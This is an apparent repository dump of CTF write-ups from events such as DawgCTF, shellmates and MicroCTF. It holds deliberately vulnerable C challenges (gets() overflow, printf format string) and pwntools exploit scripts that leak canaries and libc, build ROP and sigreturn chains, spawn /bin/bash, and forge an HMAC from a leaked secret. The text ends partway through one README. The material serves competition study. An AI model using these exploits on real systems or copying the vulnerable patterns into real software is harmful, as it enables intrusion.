├── TamuCTF2K24 └── rift │ ├── flag.txt │ ├── rift │ ├── ld-2.28.so │ ├── libc.so.6 │ ├── rift_patched │ ├── description.png │ ├── rift.c │ ├── solve.py │ └── README.md ├── README.md ├── HackINI2k23 ├── flag.jpg ├── write_what_where │ ├── chall │ ├── chall.png │ ├── permissions.png │ ├── challenge.c │ ├── exploit.py │ └── README.md └── README.md ├── shellmates ├── camel │ ├── camel │ ├── camel.png │ ├── ride_the_camel.ml │ └── README.md ├── birdy-pwn │ ├── birdy │ ├── ld-2.27.so │ ├── libc-2.27.so │ ├── solve.py │ └── README.md ├── circuit │ ├── circuit.png │ ├── secret.enc │ ├── decrypt.py │ └── README.md ├── fake shell │ ├── terminal │ ├── fakeshell.jpg │ ├── libc-2.27.so │ ├── exploit.py │ ├── terminal.h │ ├── README.md │ └── terminal.c ├── hello_wasm │ ├── flag.png │ ├── reverse.png │ ├── hellowasm.png │ ├── 79e1d51c6a58e66a153c.module.wasm │ └── README.md ├── tictoctou │ ├── tictoctou.jpeg │ ├── README.md │ └── tictoctou.c ├── slippery-rope │ ├── slippery-rope │ ├── exploit.py │ └── README.md ├── tr0ll_gu3ssing │ ├── tr0ll_gu3ssing │ ├── tr0ll_gu3ssing.jpg │ ├── exploit.py │ └── README.md ├── FileErudite-web_misc │ ├── fileerudite.png │ ├── app.py │ └── README.md └── authy-shell │ ├── exploit.py │ └── README.md ├── unitedctf-2021 ├── logo.png ├── solve.py ├── simple_notes.c └── README.md ├── ijctf2020 └── vault │ ├── flag.png │ ├── hint.png │ ├── lock.png │ ├── vault.png │ ├── script.py │ └── README.md ├── BSides-Algiers-2023 ├── libc.so.6 ├── chall_patched ├── description.png ├── ld-linux-x86-64.so.2 ├── exploit.py └── README.md ├── dawgctf2020 ├── bof to the top │ ├── bof │ ├── exploit.py │ ├── bof.c │ └── README.md ├── cookie_monster │ ├── cookie_monster │ ├── exploit.py │ └── README.md └── tom nook the capitalist racoon │ ├── script.py │ └── README.md ├── MicroCTF-Quals-2021 ├── lottery │ ├── lottery │ ├── solve.py │ └── README.md ├── scoreboard.png ├── README.md └── sudopwn │ ├── solve.py │ ├── sudopwn.c │ └── README.md ├── Alphactf2k23 └── Note_keeper_2 │ ├── libc.so.6 │ ├── new_chall_patched │ ├── ld-linux-x86-64.so.2 │ ├── exploit.py │ ├── README.md │ └── .gdb_history └── BSides-Algiers-2021-finals ├── scoreboard.png ├── safefree ├── safefree.png ├── solve.py └── README.md └── README.md /TamuCTF2K24/rift/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{ropping_in_style} 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CTFwriteups 2 | a repository for ctf write-ups 3 | -------------------------------------------------------------------------------- /HackINI2k23/flag.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/HackINI2k23/flag.jpg -------------------------------------------------------------------------------- /TamuCTF2K24/rift/rift: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/TamuCTF2K24/rift/rift -------------------------------------------------------------------------------- /shellmates/camel/camel: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/camel/camel -------------------------------------------------------------------------------- /unitedctf-2021/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/unitedctf-2021/logo.png -------------------------------------------------------------------------------- /ijctf2020/vault/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/ijctf2020/vault/flag.png -------------------------------------------------------------------------------- /ijctf2020/vault/hint.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/ijctf2020/vault/hint.png -------------------------------------------------------------------------------- /ijctf2020/vault/lock.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/ijctf2020/vault/lock.png -------------------------------------------------------------------------------- /ijctf2020/vault/vault.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/ijctf2020/vault/vault.png -------------------------------------------------------------------------------- /TamuCTF2K24/rift/ld-2.28.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/TamuCTF2K24/rift/ld-2.28.so -------------------------------------------------------------------------------- /TamuCTF2K24/rift/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/TamuCTF2K24/rift/libc.so.6 -------------------------------------------------------------------------------- /shellmates/birdy-pwn/birdy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/birdy-pwn/birdy -------------------------------------------------------------------------------- /shellmates/camel/camel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/camel/camel.png -------------------------------------------------------------------------------- /BSides-Algiers-2023/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/BSides-Algiers-2023/libc.so.6 -------------------------------------------------------------------------------- /TamuCTF2K24/rift/rift_patched: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/TamuCTF2K24/rift/rift_patched -------------------------------------------------------------------------------- /dawgctf2020/bof to the top/bof: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/dawgctf2020/bof to the top/bof -------------------------------------------------------------------------------- /shellmates/circuit/circuit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/circuit/circuit.png -------------------------------------------------------------------------------- /shellmates/circuit/secret.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/circuit/secret.enc -------------------------------------------------------------------------------- /shellmates/fake shell/terminal: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/fake shell/terminal -------------------------------------------------------------------------------- /shellmates/hello_wasm/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/hello_wasm/flag.png -------------------------------------------------------------------------------- /BSides-Algiers-2023/chall_patched: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/BSides-Algiers-2023/chall_patched -------------------------------------------------------------------------------- /TamuCTF2K24/rift/description.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/TamuCTF2K24/rift/description.png -------------------------------------------------------------------------------- /shellmates/birdy-pwn/ld-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/birdy-pwn/ld-2.27.so -------------------------------------------------------------------------------- /shellmates/birdy-pwn/libc-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/birdy-pwn/libc-2.27.so -------------------------------------------------------------------------------- /shellmates/hello_wasm/reverse.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/hello_wasm/reverse.png -------------------------------------------------------------------------------- /BSides-Algiers-2023/description.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/BSides-Algiers-2023/description.png -------------------------------------------------------------------------------- /HackINI2k23/write_what_where/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/HackINI2k23/write_what_where/chall -------------------------------------------------------------------------------- /MicroCTF-Quals-2021/lottery/lottery: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/MicroCTF-Quals-2021/lottery/lottery -------------------------------------------------------------------------------- /MicroCTF-Quals-2021/scoreboard.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/MicroCTF-Quals-2021/scoreboard.png -------------------------------------------------------------------------------- /shellmates/fake shell/fakeshell.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/fake shell/fakeshell.jpg -------------------------------------------------------------------------------- /shellmates/fake shell/libc-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/fake shell/libc-2.27.so -------------------------------------------------------------------------------- /shellmates/hello_wasm/hellowasm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/hello_wasm/hellowasm.png -------------------------------------------------------------------------------- /shellmates/tictoctou/tictoctou.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/tictoctou/tictoctou.jpeg -------------------------------------------------------------------------------- /Alphactf2k23/Note_keeper_2/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/Alphactf2k23/Note_keeper_2/libc.so.6 -------------------------------------------------------------------------------- /HackINI2k23/write_what_where/chall.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/HackINI2k23/write_what_where/chall.png -------------------------------------------------------------------------------- /shellmates/slippery-rope/slippery-rope: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/slippery-rope/slippery-rope -------------------------------------------------------------------------------- /BSides-Algiers-2023/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/BSides-Algiers-2023/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /shellmates/tr0ll_gu3ssing/tr0ll_gu3ssing: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/tr0ll_gu3ssing/tr0ll_gu3ssing -------------------------------------------------------------------------------- /BSides-Algiers-2021-finals/scoreboard.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/BSides-Algiers-2021-finals/scoreboard.png -------------------------------------------------------------------------------- /MicroCTF-Quals-2021/README.md: -------------------------------------------------------------------------------- 1 | # MicroCTF-Quals-2021 2 | 3 | I played with Th3jackers, we got second place. 4 | 5 | ![](./scoreboard.png) 6 | -------------------------------------------------------------------------------- /dawgctf2020/cookie_monster/cookie_monster: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/dawgctf2020/cookie_monster/cookie_monster -------------------------------------------------------------------------------- /Alphactf2k23/Note_keeper_2/new_chall_patched: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/Alphactf2k23/Note_keeper_2/new_chall_patched -------------------------------------------------------------------------------- /HackINI2k23/write_what_where/permissions.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/HackINI2k23/write_what_where/permissions.png -------------------------------------------------------------------------------- /shellmates/tr0ll_gu3ssing/tr0ll_gu3ssing.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/tr0ll_gu3ssing/tr0ll_gu3ssing.jpg -------------------------------------------------------------------------------- /Alphactf2k23/Note_keeper_2/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/Alphactf2k23/Note_keeper_2/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /BSides-Algiers-2021-finals/safefree/safefree.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/BSides-Algiers-2021-finals/safefree/safefree.png -------------------------------------------------------------------------------- /shellmates/FileErudite-web_misc/fileerudite.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/FileErudite-web_misc/fileerudite.png -------------------------------------------------------------------------------- /BSides-Algiers-2021-finals/README.md: -------------------------------------------------------------------------------- 1 | # BSides-Algiers-2021-finals 2 | 3 | I played with Th3jackers, we got the 1st place. 4 | 5 | ![](./scoreboard.png) 6 | -------------------------------------------------------------------------------- /shellmates/hello_wasm/79e1d51c6a58e66a153c.module.wasm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellmage/CTFwriteups/HEAD/shellmates/hello_wasm/79e1d51c6a58e66a153c.module.wasm -------------------------------------------------------------------------------- /HackINI2k23/README.md: -------------------------------------------------------------------------------- 1 | # HackINI 2k23, 11th edition 2 | 3 | We didn't compete in this CTF, went just to chill & have fun
4 | Played only this one challenge cuz it seemed interesting 5 | 6 | ![](./flag.jpg) 7 | -------------------------------------------------------------------------------- /TamuCTF2K24/rift/rift.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int upkeep() { 4 | setvbuf(stdin, NULL, _IONBF, 0); 5 | setvbuf(stdout, NULL, _IONBF, 0); 6 | setvbuf(stderr, NULL, _IONBF, 0); 7 | } 8 | 9 | char buf[64]; 10 | 11 | void vuln() { 12 | int always_true = 1; 13 | while (always_true) { 14 | fgets(buf, sizeof(buf), stdin); 15 | printf(buf); 16 | } 17 | } 18 | 19 | int main() { 20 | upkeep(); 21 | vuln(); 22 | } 23 | -------------------------------------------------------------------------------- /ijctf2020/vault/script.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | import random 3 | 4 | 5 | num_list = [] 6 | num_list.append(['0', '1']) 7 | num_list.append(['4', '5', '6']) 8 | num_list.append(['5', '6', '7', '8', '9']) 9 | num_list.append(['1', '2', '3', '4']) 10 | num_list.append(['0', '1', '2', '5', '8', '9']) 11 | num_list.append(['0', '1']) 12 | 13 | 14 | for l in num_list: 15 | code = '' 16 | for i in range(2000): 17 | code += random.choice(l) 18 | print code 19 | -------------------------------------------------------------------------------- /dawgctf2020/bof to the top/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | from pwn import * 3 | import sys 4 | 5 | audition = p32(0x08049182) 6 | time = p32(0x4b0) 7 | room_num = p32(0x16e) 8 | payload = 'a'* 112 + audition + 'a'*4 + time + room_num 9 | 10 | if len(sys.argv) == 1: 11 | conn = remote('ctf.umbccd.io', 4000) 12 | else: 13 | conn = process('./bof') 14 | 15 | conn.sendlineafter('?', 'name') 16 | conn.sendlineafter('?', payload) 17 | print conn.recvall() 18 | conn.close 19 | -------------------------------------------------------------------------------- /dawgctf2020/tom nook the capitalist racoon/script.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | 5 | 6 | conn = remote('ctf.umbccd.io', 4400) 7 | 8 | #to sell all the items 9 | for i in range(1,5): 10 | conn.sendline('1') 11 | conn.sendline(str(i)) 12 | 13 | #to buy an item 14 | conn.sendline('2') 15 | conn.sendline('2') 16 | 17 | #keeps selling to accumulate money 18 | for i in range(55): 19 | conn.sendline('1') 20 | conn.sendline('1') 21 | 22 | #buy the flag 23 | conn.sendline('2') 24 | conn.sendline('6') 25 | conn.sendline('1') 26 | 27 | print conn.recvline_contains('DawgCTF') 28 | conn.close() 29 | -------------------------------------------------------------------------------- /shellmates/tr0ll_gu3ssing/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | log.info(ELF("./tr0ll_gu3ssing").checksec()) 6 | 7 | io = remote('3.91.133.232', 4001) 8 | 9 | system_gadget = p32(0x400870) 10 | 11 | log.info('Overwriting the return address with system() gadget address') 12 | io.sendline('A'*0x48 + str(system_gadget)) 13 | 14 | log.info('Overwriting the string "/bin/cat flag.txt" with "/bin/bash\0"') 15 | io.sendline('A'*0x20 + '/bin/bash') 16 | 17 | log.info('Sending the 3rd password to break the loop') 18 | io.sendline('IQ0RiDmPhQKcCi4RSXvK75mHxor2y6t') 19 | 20 | io.interactive() 21 | io.close() 22 | -------------------------------------------------------------------------------- /dawgctf2020/cookie_monster/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | import sys 5 | 6 | if len(sys.argv) == 1: 7 | conn = remote('ctf.umbccd.io', 4200) 8 | else: 9 | conn = process('./cookie_monster') 10 | 11 | conn.sendlineafter('?', '%9$lx') 12 | conn.recvuntil('Hello, ') 13 | canary = p32(int(conn.recv(8), 16)) 14 | conn.close() 15 | 16 | conn = process('./cookie_monster') 17 | conn.sendlineafter('?', '%11$lx') 18 | conn.recvuntil('Hello, ') 19 | ret = p64(int(conn.recv(12), 16) - 0x19a) 20 | payload = 'a'*13 + canary + 'a'*8 + ret 21 | conn.sendlineafter('?', payload) 22 | print conn.recvall() 23 | conn.close() 24 | -------------------------------------------------------------------------------- /dawgctf2020/bof to the top/bof.c: -------------------------------------------------------------------------------- 1 | #include "stdio.h" 2 | #include "string.h" 3 | #include "stdlib.h" 4 | 5 | // gcc -m32 -fno-stack-protector -no-pie bof.c -o bof 6 | 7 | void audition(int time, int room_num){ 8 | char* flag = "/bin/cat flag.txt"; 9 | if(time == 1200 && room_num == 366){ 10 | system(flag); 11 | } 12 | } 13 | 14 | void get_audition_info(){ 15 | char name[50]; 16 | char song[50]; 17 | printf("What's your name?\n"); 18 | gets(name); 19 | printf("What song will you be singing?\n"); 20 | gets(song); 21 | } 22 | 23 | void welcome(){ 24 | printf("Welcome to East High!\n"); 25 | printf("We're the Wildcats and getting ready for our spring musical\n"); 26 | printf("We're now accepting signups for auditions!\n"); 27 | } 28 | 29 | int main(){ 30 | welcome(); 31 | get_audition_info(); 32 | return 0; 33 | } 34 | -------------------------------------------------------------------------------- /shellmates/slippery-rope/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | 5 | exe = ELF("./slippery-rope") 6 | context.binary = exe 7 | 8 | pop_rax_ret = 0x4001b5 9 | syscall_ret = 0x4001b1 10 | 11 | def conn(): 12 | if args.LOCAL: 13 | return process([exe.path]) 14 | else: 15 | return remote("pwn.hfz-1337.ninja", 1337) 16 | 17 | 18 | def main(): 19 | r = conn() 20 | 21 | #fake frame to set the registers 22 | frame = SigreturnFrame() 23 | frame.rax = 59 # the execve syscall 24 | frame.rdi = 0x6001cc # the address of '/bin/sh\0' 25 | frame.rsi = 0 26 | frame.rdx = 0 27 | frame.rip = syscall_ret 28 | 29 | payload = '/bin/bash\0'.ljust(208, 'a') 30 | payload += p64(pop_rax_ret) 31 | payload += p64(15) #the sigreturn syscall 32 | payload += p64(syscall_ret) 33 | payload += str(frame) 34 | 35 | r.recvuntil('> ') 36 | r.sendline(payload) 37 | r.interactive() 38 | 39 | if __name__ == "__main__": 40 | main() 41 | -------------------------------------------------------------------------------- /shellmates/circuit/decrypt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | with open('secret.enc') as f: 4 | ct = f.read() 5 | f.close() 6 | 7 | 8 | for key in range(255): 9 | pt = '' 10 | for c in ct: 11 | i = ord(c) 12 | 13 | b = 0 14 | b += 0 if ((i & 32 )^(key & 32 )) else 16 15 | b += 0 if ((i & 16 )^(key & 16 )) else 32 16 | b += 0 if ((i & 128)^(key & 128)) else 64 17 | b += 0 if ((i & 64 )^(key & 64 )) else 128 18 | 19 | b += 1 if (((i & 2)^(key & 2)) and b & 128) or (not ((i & 2)^(key & 2)) and not b & 128) else 0 20 | b += 2 if (((i & 1)^(key & 1)) and b & 64 ) or (not ((i & 1)^(key & 1)) and not b & 64 ) else 0 21 | b += 4 if (((i & 8)^(key & 8)) and b & 32 ) or (not ((i & 8)^(key & 8)) and not b & 32 ) else 0 22 | b += 8 if (((i & 4)^(key & 4)) and b & 16 ) or (not ((i & 4)^(key & 4)) and not b & 16 ) else 0 23 | 24 | pt += chr(b) 25 | 26 | if 'shellmates' in pt: 27 | print 'secret key : ' + str(key) 28 | print 'message : \n' + pt 29 | -------------------------------------------------------------------------------- /shellmates/authy-shell/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from ast import literal_eval 3 | import hmac 4 | 5 | attribute = '{1.__init__.__func__.__globals__[SECRET]}' 6 | cmd = b'cat flag.txt' 7 | 8 | def parse(sec): 9 | i = 2 10 | parsed = '' 11 | while i < len(sec)-1: 12 | if sec[i:i+2] == '\\x': 13 | parsed += sec[i+2:i+4] 14 | i += 4 15 | else: 16 | parsed += f'{format(ord(sec[i]), "02x")}' 17 | i += 1 18 | return parsed 19 | 20 | def main(): 21 | r = remote("138.68.101.239", 6666) 22 | r.sendlineafter('>>> ', '2') 23 | r.sendlineafter('New prompt template: ', attribute) 24 | 25 | r.sendlineafter('>>> ', b'1\n'+cmd) 26 | r.recvuntil("'") 27 | secret = r.recvuntil("'", drop=True) 28 | secret = literal_eval(f'"{secret}"') 29 | secret = parse(secret) 30 | log.info(f'Leaked SECRET : {secret}') 31 | binary_secret = binascii.a2b_hex(secret) 32 | 33 | signature = hmac.new(binary_secret, cmd, hashlib.sha256).hexdigest() 34 | log.info(f'HMAC Signature : {signature}') 35 | 36 | r.sendline(signature) 37 | print(r.recvline()) 38 | 39 | if __name__ == "__main__": 40 | main() 41 | -------------------------------------------------------------------------------- /MicroCTF-Quals-2021/lottery/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | from ctypes import CDLL 5 | 6 | exe = ELF("./lottery") 7 | 8 | context.binary = exe 9 | 10 | seed_addr = 0x4040F0 11 | 12 | def conn(): 13 | if args.LOCAL: 14 | return process([exe.path]) 15 | else: 16 | return remote("pwn.ctf.microclub.net", 5003) 17 | 18 | def register(io, age, gender, name): 19 | io.sendline('1') 20 | io.sendline(str(age)) 21 | io.sendline(gender) 22 | io.sendline(name) 23 | 24 | def unregister(io): 25 | io.sendline('4') 26 | 27 | def play(io, guess): 28 | io.sendline('2') 29 | io.sendline(str(guess)) 30 | 31 | def show_stat(io): 32 | io.recvuntil('>>> ') 33 | io.sendline('3') 34 | io.recvuntil('Current player: Mrs. ') 35 | return int.from_bytes(io.recv(numb=4), "little") 36 | 37 | def main(): 38 | r = conn() 39 | 40 | register(r, 22, 'male', 'shell') 41 | unregister(r) 42 | play(r, seed_addr) 43 | seed = (show_stat(r)) 44 | libc = CDLL("libc.so.6") 45 | libc.srand(seed) 46 | libc.rand() 47 | play(r, libc.rand()) 48 | 49 | r.interactive() 50 | 51 | if __name__ == "__main__": 52 | main() 53 | -------------------------------------------------------------------------------- /ijctf2020/vault/README.md: -------------------------------------------------------------------------------- 1 | # Vault 2 | 3 | ![alt challenge](./vault.png) 4 | 5 | when we dm the bot on discord with "start" it asks for a 7 digit pin composed of 1 and 0. 6 | 7 | ![alt lock](./lock.png) 8 | 9 | the pin is random and it keeps changing so we can't brutforce it, let's check the hint. 10 | 11 | ![alt hint](./hint.png) 12 | 13 | the bot simply checks if the right pin is in the input message, so we can just generate a long
14 | message randomly with the provided digits and send it, the discord message length is 2000 chars
15 | so it's long enough to guess the pin, there are 6 levels with different digits
16 | here is a small script that generates the messages.
17 | 18 | ![script.py](./script.py) 19 | ```python 20 | #!/usr/bin/python2 21 | import random 22 | 23 | 24 | num_list = [] 25 | num_list.append(['0', '1']) 26 | num_list.append(['4', '5', '6']) 27 | num_list.append(['5', '6', '7', '8', '9']) 28 | num_list.append(['1', '2', '3', '4']) 29 | num_list.append(['0', '1', '2', '5', '8', '9']) 30 | num_list.append(['0', '1']) 31 | 32 | 33 | for l in num_list: 34 | code = '' 35 | for i in range(2000): 36 | code += random.choice(l) 37 | print code 38 | ``` 39 | # Flag 40 | ![alt flag](./flag.png) 41 | -------------------------------------------------------------------------------- /MicroCTF-Quals-2021/sudopwn/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | exe = ELF("./sudopwn") 6 | libc = ELF("./libc.so.6") 7 | ld = ELF("./ld-2.27.so") 8 | 9 | context.binary = exe 10 | context.terminal = ['st'] 11 | 12 | one_gadget_offset = 0x10a41c 13 | 14 | def conn(): 15 | if args.LOCAL: 16 | return process(exe.path) 17 | else: 18 | return remote("pwn.ctf.microclub.net", 5004) 19 | 20 | def main(): 21 | r = conn() 22 | 23 | log.info('Leaking libc address ...') 24 | r.sendline('3') 25 | r.recvuntil('------+-------+------\n') 26 | numbers = r.recvline().decode("utf-8") 27 | libc__vdso_getcpu = (int(numbers.split(' ')[0]) << 32) + (int(numbers.split(' ')[1]) & 0xffffffff) 28 | log.info(f'Libc__vdso_getcpu address : {hex(libc__vdso_getcpu)}') 29 | libc.address = libc__vdso_getcpu - next(libc.search(b"__vdso_getcpu")) 30 | log.info(f'Libc base address : {hex(libc.address)}') 31 | one_gadget = libc.address + one_gadget_offset 32 | log.info(f'Libc one gadget : {hex(one_gadget)}') 33 | r.sendline('1\n9\n5') 34 | r.sendline(str(one_gadget & 0xffffffff)) 35 | r.sendline('5') 36 | 37 | r.interactive() 38 | 39 | 40 | if __name__ == "__main__": 41 | main() 42 | -------------------------------------------------------------------------------- /shellmates/birdy-pwn/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | elf = ELF("./birdy") 4 | libc = ELF("./libc-2.27.so") 5 | 6 | context.binary = elf 7 | 8 | def conn(): 9 | if args.LOCAL: 10 | return process([elf.path]) 11 | else: 12 | return remote("138.68.101.239", 1337) 13 | 14 | def main(): 15 | 16 | elfrop = ROP(elf) 17 | pop_rsi_popr15_ret = elfrop.find_gadget(["pop rsi", "pop r15", "ret"]).address 18 | pop_rdi_ret = elfrop.find_gadget(["pop rdi", "ret"]).address 19 | name_birdy = elf.sym.name_birdy 20 | 21 | r = conn() 22 | 23 | r.sendlineafter('Quick! What do you name it? ', 'a'*88) 24 | r.recvline() 25 | canary = u64(b'\0' + r.recv(7)) 26 | rbp = u64(r.recvline(keepends=False).ljust(8, b'\0')) 27 | 28 | log.info('Leaking stack canary : ' + str(hex(canary))) 29 | log.info('Leaking base pointer : ' + str(hex(rbp))) 30 | 31 | payload = flat(canary, rbp-0x40, pop_rdi_ret, elf.got.puts, elf.plt.puts, 32 | pop_rdi_ret, rbp-0x38, pop_rsi_popr15_ret, 0x100, 0x0, elf.sym.readstr) 33 | payload = payload.ljust(0x58, b'\0') 34 | payload += p64(canary) + p64(rbp-0x88) 35 | 36 | r.send(payload) 37 | r.recvuntil('How do you feel now? ') 38 | libc.address = u64(r.recvline(keepends=False).ljust(8, b'\0')) - libc.sym.puts 39 | log.info('Leaking libc pointer : ' + str(hex(rbp))) 40 | one_gadget = libc.address + 0x4f432 41 | r.sendline(p64(one_gadget).ljust(0x100, b'\0')) 42 | 43 | r.interactive() 44 | 45 | if __name__ == "__main__": 46 | main() 47 | -------------------------------------------------------------------------------- /dawgctf2020/tom nook the capitalist racoon/README.md: -------------------------------------------------------------------------------- 1 | # Tom nook the capitalist racoon 2 | 3 | this was a C program to buy and sell items, our goal is to buy the flag which is worth 420000 bells
4 | 5 | ``` 6 | Timmy: Welcome! 7 | How can I help you today? 8 | 1. I want to sell 9 | 2. What's for sale? 10 | 3. See you later. 11 | Choice: 2 12 | 13 | 8500 bells 14 | Timmy: Here's what we have to sell today. 15 | 1. flimsy net - 400 bells 16 | 2. tarantula - 8000 bells 17 | 3. slingshot - 900 bells 18 | 4. sapling - 640 bells 19 | 5. cherry - 400 bells 20 | 6. flag - 420000 bells 21 | ``` 22 | 23 | when interacting with the program using netcat i noticed that if you buy an item and selling again
24 | it doesn't get removed from the inventory, so all we have to do is to buy one item and keep selling it
25 | until we accumulate enough money to buy the flag.
26 | 27 | [script.py](./script.py) 28 | ```python 29 | #!/usr/bin/env python2 30 | 31 | from pwn import * 32 | 33 | conn = remote('ctf.umbccd.io', 4400) 34 | 35 | #to sell all the items 36 | for i in range(1,5): 37 | conn.sendline('1') 38 | conn.sendline(str(i)) 39 | 40 | #to buy an item 41 | conn.sendline('2') 42 | conn.sendline('2') 43 | 44 | #keeps selling to accumulate money 45 | for i in range(55): 46 | conn.sendline('1') 47 | conn.sendline('1') 48 | 49 | #buy the flag 50 | conn.sendline('2') 51 | conn.sendline('6') 52 | conn.sendline('1') 53 | 54 | print conn.recvline_contains('DawgCTF') 55 | conn.close() 56 | ``` 57 | 58 | ### flag 59 | DawgCTF{1nf1n1t3_t@rantul@$} 60 | -------------------------------------------------------------------------------- /dawgctf2020/bof to the top/README.md: -------------------------------------------------------------------------------- 1 | # bof to the top 2 | 3 | The `main()` funtion calls `get_audition_info()` which calls `gets()` function that allows buffer overflow
4 | 5 | [bof.c](./bof.c) 6 | ```C 7 | #include "stdio.h" 8 | #include "string.h" 9 | #include "stdlib.h" 10 | 11 | // gcc -m32 -fno-stack-protector -no-pie bof.c -o bof 12 | 13 | void audition(int time, int room_num){ 14 | char* flag = "/bin/cat flag.txt"; 15 | if(time == 1200 && room_num == 366){ 16 | system(flag); 17 | } 18 | } 19 | 20 | void get_audition_info(){ 21 | char name[50]; 22 | char song[50]; 23 | printf("What's your name?\n"); 24 | gets(name); 25 | printf("What song will you be singing?\n"); 26 | gets(song); 27 | } 28 | 29 | void welcome(){ 30 | printf("Welcome to East High!\n"); 31 | printf("We're the Wildcats and getting ready for our spring musical\n"); 32 | printf("We're now accepting signups for auditions!\n"); 33 | } 34 | 35 | int main(){ 36 | welcome(); 37 | get_audition_info(); 38 | return 0; 39 | } 40 | ``` 41 | 42 | To exploit this program we have to jump to `audition()` fuctions that requires two integers as arguments
43 | time and room_num, so we have to send junk input followed by `audition()` function address and the two arguments
